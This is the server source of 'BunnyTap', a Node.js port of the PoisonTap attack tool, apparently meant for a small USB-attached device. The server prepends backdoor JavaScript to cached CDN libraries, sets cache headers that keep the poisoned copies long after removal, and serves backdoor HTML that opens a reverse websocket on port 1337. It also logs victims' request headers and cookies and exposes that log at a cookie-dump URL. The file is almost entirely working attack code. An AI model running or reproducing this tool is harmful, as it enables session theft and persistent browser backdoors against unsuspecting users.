/*
 * BunnyTap 
 *  by Whistle Master
 *
 * based on
 *
 * PoisonTap
 *  by samy kamkar
 *  http://samy.pl/poisontap
 *  01/08/2016
 * 
 */

var http = require("http");
var fs = require('fs');
var util = require('util');
var backdoorPreJs = fs.readFileSync(__dirname + '/target_backdoor.js'); // this gets prepended before legit js, eg jquery.js
var backdoorHtml = fs.readFileSync(__dirname + '/backdoor.html');
var log_file = fs.createWriteStream(__dirname + '/poisontap.cookies.log', {flags : 'a'});
var log_stdout = process.stdout;
var replacejs = fs.readdirSync(__dirname + '/js');
var blinked = false;
var repobj = {};
for (var i in replacejs)
	repobj[replacejs[i].replace(/__/g, '/')] = fs.readFileSync(__dirname + '/js/' + replacejs[i]);

console.log = function(d) {
  log_file.write(util.format(d) + '\n');
  log_stdout.write(util.format(d) + '\n');
};

var startBlinking = function() {
	// Configuration
	var BLINK_MAX = 20;
	var BLINK_SPEED = 100;

	// Blinking function
	var util = require('util'), exec = require('child_process').exec, child;
	var oldState = 1;
	var count = 0;

	var changeLedState = function(state) {
		oldState = state;
		child = exec('nice -n -20 echo '+state+' | sudo tee /sys/class/gpio_sw/PL7/data');
	}

	var blink = function() {
		changeLedState(oldState == 1 ? 0 : 1);
		count++;
		
		if (count <= BLINK_MAX + 1) {
			setTimeout(blink, BLINK_SPEED);
		} else {
			changeLedState(1);
			setTimeout(function(){changeLedState(0)},3000);
		}
	}

	blink();
};

var xhtml = fs.readFileSync(__dirname + '/target_injected_xhtmljs.html');
if (!xhtml)
{
	console.log("Couldn't read PoisonTap evil html");
	process.exit();
}

var server = http.createServer(function(request, response) {
	var url = request.headers.host + request.url;
	console.log('Request: ' + url);
	console.log(request.headers);

	var headers = {
		"Content-Type": "text/html",
		"Server": "PoisonTap/1.0 SamyKamkar/0.1",
		"Cache-Control": "public, max-age=99936000",
		"Expires": "Sat, 26 Jul 2040 05:00:00 GMT",
		"Last-Modified": "Tue, 15 Nov 1994 12:45:26 GMT",
		"Access-Control-Allow-Origin": "*"
	};

	// cache for a very long time to poison future requests after we're gone
	if (repobj[url])
	{
		console.log('>>> Known CDN');
		response.writeHead(200, headers);
		response.write(backdoorPreJs);
		response.write(repobj[url]);
		response.end();
		return;
	}

	// if this is a poisontap request, we just siphoned cookies, now drop html backdoor
	else if (url.indexOf('/PoisonTap') != -1)
	{
		// Blink ACT led on RPi to know if the injection is going well
		if (!blinked) {
			blinked = true;
			startBlinking();
		}
		
		console.log('>>> Inject Backdoor HTML reverse ws 1337');
		response.writeHead(200, headers);
		response.write(backdoorHtml);
		response.end();
		return;
	}
	
	// if this is a cookie dump request, return cookie file.  CORS header required to make it work
	else if (url.indexOf('/PoisonCookieDump') != -1)
	{
		console.log('>>> Cookie Dump');
		response.writeHead(200, headers);
		response.write(fs.readFileSync(__dirname + '/poisontap.cookies.log'));
		response.end();
		return;
	}
	
  // random AJAX request or load from a page, give our evil content that loads all the backdoors and siphons all the things
	else
	{
		console.log('>>> Inject Target xhtmljs');
		response.writeHead(200, headers);

		// NOT poisontap hit, inject cross-js/html file
		response.write(xhtml);
		response.end();
		return;
	}
});

server.listen(1337);
console.log("==== "+new Date().toJSON()+" ["+Date.now()+"] ====");
console.log("PoisonTap is listening");
